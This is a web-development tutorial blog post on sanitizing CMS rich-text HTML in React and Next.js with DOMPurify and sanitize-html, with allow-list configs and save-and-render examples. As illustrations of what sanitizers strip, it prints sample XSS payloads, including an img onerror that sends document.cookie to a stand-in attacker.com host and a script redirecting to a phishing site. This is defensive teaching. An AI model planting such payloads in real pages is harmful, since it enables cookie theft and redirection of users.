Skip to content
ExponaBLOG
REACT & NEXT.JS · DAY 085 / 100

Sanitize CMS HTML before rendering: a step-by-step guide

Rich text from editors like CKEditor needs sanitizing.

Expona Admin7 min read

Sanitize CMS HTML before rendering

When you expose a rich text editor like CKEditor to your content team, you're opening a door to HTML that might contain malicious scripts, unexpected styling, or dangerous event handlers. Sanitize CMS HTML before rendering to protect your application and users from XSS attacks and unintended behavior. In this article, I'll walk you through the patterns I've used in production to safely render user-generated HTML in Next.js and React applications.

Why sanitizing matters in production

Early in my career, I deployed a CRM system without properly sanitizing rich text fields. A team member accidentally pasted HTML from a compromised website into a customer note, and within hours, every user viewing that note was redirected to a phishing site. The editor hadn't intentionally done anything wrong—they just copied and pasted. That's when I learned that sanitization isn't optional.

CMS editors and WYSIWYG tools output raw HTML. Browsers interpret that HTML exactly as written. If someone inserts <img src=x onerror="fetch('//attacker.com?cookie=' + document.cookie)">, the browser executes it. Sanitizing strips or escapes dangerous content before it ever reaches the DOM.

There are two main approaches: DOMPurify (for client-side) and sanitize-html (for server-side). Let me show you how I use both.

Using DOMPurify for client-side sanitization

DOMPurify is a lightweight library that runs in the browser. It's ideal for rendering CMS content on the front end when you've already stored HTML in your database.

Installation:

tsx
npm install dompurify
npm install --save-dev @types/dompurify

Basic usage in a Next.js component:

tsx
'use client';

import DOMPurify from 'dompurify';

interface BlogPostProps {
  title: string;
  content: string;
}

export default function BlogPost({ title, content }: BlogPostProps) {
  const sanitized = DOMPurify.sanitize(content);

  return (
    <article>
      <h1>{title}</h1>
      <div dangerouslySetInnerHTML={{ __html: sanitized }} />
    </article>
  );
}

By default, DOMPurify removes script tags, event handlers, and other dangerous elements. But CMS content often needs specific tags and attributes to render correctly.

Configure an allow-list for tags and attributes

The default DOMPurify config is strict—sometimes too strict. If your CMS editor creates images with alt text, tables with classes, or links with target attributes, you need to explicitly allow them. This is where an allow-list becomes critical.

Example: allow-list for a blog CMS:

tsx
'use client';

import DOMPurify from 'dompurify';

const sanitizeConfig = {
  ALLOWED_TAGS: [
    'p', 'br', 'strong', 'em', 'u', 'h2', 'h3', 'h4',
    'ul', 'ol', 'li', 'blockquote', 'code', 'pre',
    'a', 'img', 'figure', 'figcaption', 'table', 'thead',
    'tbody', 'tr', 'th', 'td'
  ],
  ALLOWED_ATTR: [
    'href', 'title', 'target', 'rel',
    'src', 'alt', 'width', 'height',
    'colspan', 'rowspan', 'class'
  ],
  KEEP_CONTENT: true,
};

export function sanitizeCmsHtml(html: string): string {
  return DOMPurify.sanitize(html, sanitizeConfig);
}

Notice that I allow class but not inline styles. I also restrict target to prevent target="_blank" attacks (though you might handle that separately). Event handlers like onclick, onerror, and onload are never in ALLOWED_ATTR, so they're always stripped.

Usage in a component:

tsx
import { sanitizeCmsHtml } from '@/lib/sanitize';

export default function BlogPost({ content }: { content: string }) {
  const safe = sanitizeCmsHtml(content);
  return <div dangerouslySetInnerHTML={{ __html: safe }} />;
}

Sanitize on save with sanitize-html

While DOMPurify handles the browser, I also sanitize on the server side when content is saved. This is a defense-in-depth approach: even if someone bypasses the client, the server rejects malicious HTML before it hits the database.

The sanitize-html package runs in Node.js and is my go-to for API endpoints.

Installation:

tsx
npm install sanitize-html

Server-side example in a Next.js API route:

tsx
import sanitizeHtml from 'sanitize-html';

const sanitizeOptions = {
  allowedTags: [
    'p', 'br', 'strong', 'em', 'u', 'h2', 'h3', 'h4',
    'ul', 'ol', 'li', 'blockquote', 'code', 'pre',
    'a', 'img', 'figure', 'figcaption', 'table', 'thead',
    'tbody', 'tr', 'th', 'td'
  ],
  allowedAttributes: {
    'a': ['href', 'title', 'target', 'rel'],
    'img': ['src', 'alt', 'width', 'height'],
    '*': ['class']
  },
  nonTextTags: ['style', 'script', 'textarea', 'noscript'],
  disallowedTagsMode: 'discard',
};

export async function POST(request: Request) {
  const body = await request.json();
  const { title, content } = body;

  // Sanitize on save
  const cleanHtml = sanitizeHtml(content, sanitizeOptions);

  // Save to database
  const post = await db.blogPosts.create({
    title,
    content: cleanHtml,
  });

  return Response.json(post);
}

On the backend, I'm paranoid. Even though the frontend might already sanitize, I do it again in the API. This means the database only ever contains safe HTML.

Strip inline event handlers and scripts

Event handlers and scripts are the most common XSS vectors. When a user (or an attacker posing as a user) pastes HTML into a CMS editor, they might include:

tsx
<div onclick="alert('hacked')">Click me</div>
<img src=x onerror="fetch('//bad.com/log')">
<script>window.location = '//phishing.site'</script>

DOMPurify and sanitize-html both strip these automatically when they're not in the allow-list. But let me show you what's happening under the hood.

DOMPurify configuration to explicitly reject event handlers:

tsx
const strictConfig = {
  ALLOWED_TAGS: ['p', 'strong', 'em', 'a'],
  ALLOWED_ATTR: ['href'],
  RETURN_DOM: false,
  RETURN_DOM_FRAGMENT: false,
  RETURN_DOM_IMPORT: false,
};

// Input with event handler
const dangerous = '<p onclick="alert(1)">Click</p>';
const safe = DOMPurify.sanitize(dangerous, strictConfig);
// Output: <p>Click</p>

Notice the onclick attribute is completely gone. DOMPurify doesn't just escape it—it removes it. The same applies to onerror, onload, onmouseover, and every other event handler. Scripts are also removed entirely.

Verify with a more complex example:

tsx
const messy = `
  <p>Safe text</p>
  <script>console.log('removed')</script>
  <img src=x onerror="fetch('//attacker.com')">
  <a href="javascript:alert('xss')">Click</a>
`;

const clean = DOMPurify.sanitize(messy, strictConfig);
// Output: <p>Safe text</p>

All the dangerous stuff is gone. Only the legitimate paragraph remains.

Sanitize on both save and render

I follow a two-layer approach:

  1. On save (server): When a content editor submits HTML through the CMS API, the backend sanitizes before storing in the database.
  2. On render (client): When fetching and displaying that content, the frontend sanitizes again before inserting into the DOM.

This seems redundant, but it's not. The first layer protects the database and other users. The second layer handles edge cases: maybe you export and re-import content, maybe you have a legacy database with unsanitized entries, or maybe a future code change accidentally allows something dangerous through.

Complete flow example:

tsx
// API endpoint (save)
import sanitizeHtml from 'sanitize-html';

export async function POST(request: Request) {
  const { content } = await request.json();
  const safe = sanitizeHtml(content, sanitizeOptions);
  
  await db.posts.create({ content: safe });
  return Response.json({ success: true });
}
tsx
// React component (render)
'use client';

import DOMPurify from 'dompurify';

export function PostView({ post }: { post: Post }) {
  // Sanitize again, even though backend already did
  const safe = DOMPurify.sanitize(post.content, sanitizeConfig);
  
  return <div dangerouslySetInnerHTML={{ __html: safe }} />;
}

Common mistakes

  • Forgetting dangerouslySetInnerHTML is the point: Some developers think they can avoid dangerouslySetInnerHTML by using a different method. You can't render raw HTML in React without it. The warning exists for a reason, but sanitization makes it safe.
  • Skipping server-side sanitization: Relying only on DOMPurify means the database contains raw HTML. If you export data, share it via API, or render it server-side later, you're exposed. Always sanitize on save.
  • Allow-listing too many tags: Every tag you allow increases attack surface. Only allow what your editors actually need. `
ShareXLinkedInReddit

Found this useful? Support the writing.

Buy me a coffee
Written by
Expona Admin
Site administrator

Comments

Loading comments…

Leave a comment

Comments are reviewed before they appear. Be kind and stay on topic.

Related articles